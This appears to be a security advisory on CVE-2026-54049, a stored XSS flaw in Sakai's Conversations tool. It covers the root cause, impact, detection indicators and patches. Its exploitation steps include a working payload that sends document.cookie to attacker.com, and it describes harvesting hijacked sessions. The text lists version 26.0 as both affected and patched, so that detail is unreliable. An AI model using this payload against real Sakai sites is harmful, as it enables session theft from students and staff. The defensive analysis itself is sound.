CVE-2026-54049: 
Java vulnerability analysis and mitigation

CVE-2026-54049 is a stored cross-site scripting (XSS) vulnerability in the Sakai Learning Management System's Conversations tool, affecting versions 23.0–23.4, 25.0–25.2, and 26.0. The flaw allows any authenticated user with site membership to inject arbitrary HTML and JavaScript into topic messages, post replies, or comments, which then executes in the browsers of all other users who view that content. The vulnerability was first reported on June 11, 2026, published to the GitHub Advisory Database on August 24, 2026, and carries a CVSS v3.1 base score of 8.7 (High) (GitHub Advisory, Sakai Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). The Conversations REST API endpoints — POST /api/sites/{siteId}/topics, POST /api/sites/{siteId}/topics/{topicId}/posts, and the comments endpoint — accept a message field in the JSON request body that ConversationsServiceImpl stores directly to the database (conv_topics.MESSAGE, conv_posts, conv_comments) without invoking FormattedText.processFormattedText() or any equivalent HTML sanitizer. On the frontend, SakaiTopic.js (line 679), SakaiPost.js (lines 429, 432), and SakaiComment.js (line 148) all render the stored message field using LitElement's unsafeHTML() directive, which bypasses the browser's built-in XSS protections and causes injected scripts to execute. Unlike other Sakai tools such as Announcements and Assignments, the Conversations implementation lacked sanitization at both storage time and render time (GitHub Advisory, Sakai Advisory, Fix Commit).

Successful exploitation allows an attacker with any site membership (student role or higher) to execute arbitrary JavaScript in the browsers of all other users who view the affected topic, post, or comment. This enables session hijacking, performing actions on behalf of victims, and exfiltration of sensitive data such as gradebook entries and course content. In a university environment with hundreds of students per course, a single malicious post can simultaneously compromise all enrolled students, posing a significant confidentiality and integrity risk with no availability impact (Sakai Advisory, GitHub Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is 0.032% (10th percentile), indicating a currently low probability of exploitation within the next 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires only low privileges (any authenticated site member) and user interaction (a victim must view the malicious content), making it accessible to a broad range of potential attackers once a session is established (GitHub Advisory).

1. Gain site access: Obtain any authenticated session on a Sakai instance running versions 23.0–23.4, 25.0–25.2, or 26.0 with the Conversations tool enabled (e.g., enroll as a student in a course).
2. Craft malicious payload: Prepare a JSON body containing an XSS payload in the message field, such as {"title":"XSS Test","message":"<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>","type":"QUESTION","visibility":"SITE","draft":false}.
3. Inject via REST API: Send a POST request to POST /api/sites/{siteId}/topics (or /topics/{topicId}/posts for a reply) with the crafted payload and a valid session cookie (SAKAIID=<session_token>).
4. Verify storage: Confirm the raw HTML payload is stored in the database (the API response will echo back the unsanitized message field).
5. Trigger execution: Wait for other site members (students, instructors) to navigate to the Conversations view; the LitElement frontend fetches the stored message and renders it via unsafeHTML(), causing the injected script to execute in each victim's browser.
6. Harvest results: Collect exfiltrated session cookies, credentials, or gradebook data from the attacker-controlled server, enabling session hijacking or further lateral movement (Sakai Advisory, GitHub Advisory).

• Network: Unexpected outbound HTTP requests from users' browsers to external domains shortly after viewing Conversations content; POST requests to /api/sites/{siteId}/topics or /api/sites/{siteId}/topics/{topicId}/posts containing HTML tags or JavaScript keywords (e.g., <script>, onerror=, fetch(, document.cookie) in the message field.
• Logs: Sakai access logs showing POST requests to Conversations API endpoints with unusually large or HTML-encoded message payloads; repeated access to the same topic or post by many different users in a short timeframe following a suspicious post.
• Database: Records in conv_topics.MESSAGE, conv_posts.MESSAGE, or conv_comments.MESSAGE containing raw HTML tags, <script> blocks, or JavaScript event handlers (e.g., onerror, onload, onclick) rather than plain text or sanitized markup.

Patched versions are available: upgrade to Sakai 23.5, 25.3, or 26.0, which include the fix committed on June 2, 2026 (commit 2696b4b) that adds FormattedText.processFormattedText() sanitization calls in ConversationsServiceImpl before persisting topic, post, comment, and settings messages (Sakai Release 23.5, Fix Commit). As a temporary workaround until patching is possible, administrators should disable the Conversations tool on all sites or restrict access to trusted users only. Additionally, deploying a Web Application Firewall (WAF) rule to block requests containing HTML/JavaScript in the message field of Conversations API endpoints can provide partial mitigation (Sakai Advisory).